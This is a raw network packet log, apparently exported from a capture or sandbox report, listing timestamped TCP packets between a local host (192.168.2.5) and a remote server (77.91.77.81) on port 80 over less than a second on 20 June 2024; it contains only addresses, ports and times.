Jun 20, 2024 15:38:10.560973883 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.560990095 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.561045885 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.561091900 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.603420973 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.603436947 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.603451967 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.603466034 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.603481054 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.603494883 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.603503942 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.603512049 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.603552103 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.603552103 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614003897 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614057064 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614064932 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614073992 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614098072 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614099979 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614113092 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614118099 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614135027 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614139080 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614150047 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614151001 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614181042 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614193916 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614253044 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614268064 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614284039 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614300013 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614311934 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614311934 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614340067 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614340067 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614346027 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614389896 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614396095 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614412069 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614451885 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614451885 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614455938 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614473104 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614492893 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614495993 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614512920 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614521027 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614535093 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614558935 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614588022 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614603996 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614619017 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.614640951 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.614662886 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.644121885 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644139051 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644156933 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644205093 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.644237041 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.644289017 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644305944 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644321918 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644336939 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644342899 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.644352913 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644375086 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.644375086 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.644393921 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.644393921 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.644923925 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644948959 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644963980 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644973040 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.644980907 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644989967 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.644996881 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.644999981 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645014048 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645014048 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645031929 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645040989 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645045996 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645052910 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645072937 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645082951 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645281076 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645306110 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645328999 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645342112 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645354986 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645370007 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645390987 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645399094 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645410061 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645416021 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645427942 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645428896 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645443916 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645459890 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645479918 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645504951 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645519972 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645520926 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645539045 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645540953 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645555973 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645567894 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645585060 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645601034 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645623922 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645641088 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645773888 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645823956 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.645884991 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.645931959 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646011114 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646028042 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646059036 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646061897 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646071911 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646102905 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646434069 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646460056 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646475077 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646481991 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646490097 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646502018 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646513939 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646527052 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646763086 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646778107 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646794081 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646809101 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646810055 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646821976 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646826029 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646837950 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646843910 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646852016 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646872997 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646886110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646886110 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646903992 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646927118 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646945000 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.646946907 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.646990061 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647273064 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647289991 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647305012 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647319078 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647320986 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647331953 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647336006 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647373915 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647373915 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647377014 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647393942 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647403955 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647409916 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647425890 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647427082 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647439003 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647452116 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647458076 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647469044 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647490025 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647490025 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647510052 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647532940 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647542953 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647667885 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647685051 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647700071 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647713900 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647716045 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647726059 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647732973 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647753000 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647753000 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647769928 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647803068 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647823095 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647840023 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647852898 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647855043 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647876978 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647898912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.647902012 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.647943974 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648138046 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648153067 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648168087 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648183107 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648185968 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648199081 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648200035 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648209095 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648225069 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648236036 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648302078 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648319006 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648334026 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648350000 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648350000 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648361921 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648367882 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648375034 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648385048 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648394108 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648406029 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648410082 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648421049 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648442984 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648616076 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648652077 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648667097 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648669958 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648684025 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648699045 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648715019 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648726940 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648726940 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648729086 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648737907 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.648767948 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648767948 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648787022 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.648787975 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.689762115 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.689821005 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.689835072 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.689841032 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.689894915 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.689910889 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.689924955 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.689933062 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.689933062 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.689941883 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.689959049 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.689968109 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.689992905 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.690015078 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701042891 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701070070 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701082945 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701105118 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701148033 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701148033 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701164961 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701183081 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701198101 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701209068 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701215982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701232910 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701236010 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701236963 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701251984 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701273918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701278925 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701292992 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701318026 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701333046 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701350927 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701366901 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701391935 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701409101 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701414108 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701426029 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701442003 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701450109 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701458931 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701467991 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701473951 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701479912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701493979 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701517105 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701523066 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701555967 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701574087 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701590061 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701606035 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701612949 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701622963 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701626062 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701638937 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701659918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701674938 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701690912 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.701718092 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.701729059 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731161118 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731178045 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731218100 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731221914 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731221914 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731234074 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731251955 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731262922 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731271029 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731276035 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731293917 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731307030 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731307030 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731348991 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731663942 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731677055 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731698990 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731704950 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731718063 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731724024 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731738091 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731739998 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731762886 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731774092 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731781006 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731796026 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731812000 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.731822014 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731838942 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.731848955 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.732151031 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.732177973 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.732192039 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.732192039 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.732219934 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.732230902 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.732250929 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.732280016 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.732290030 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.732296944 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.732311964 CEST	80	49708	77.91.77.81	192.168.2.5
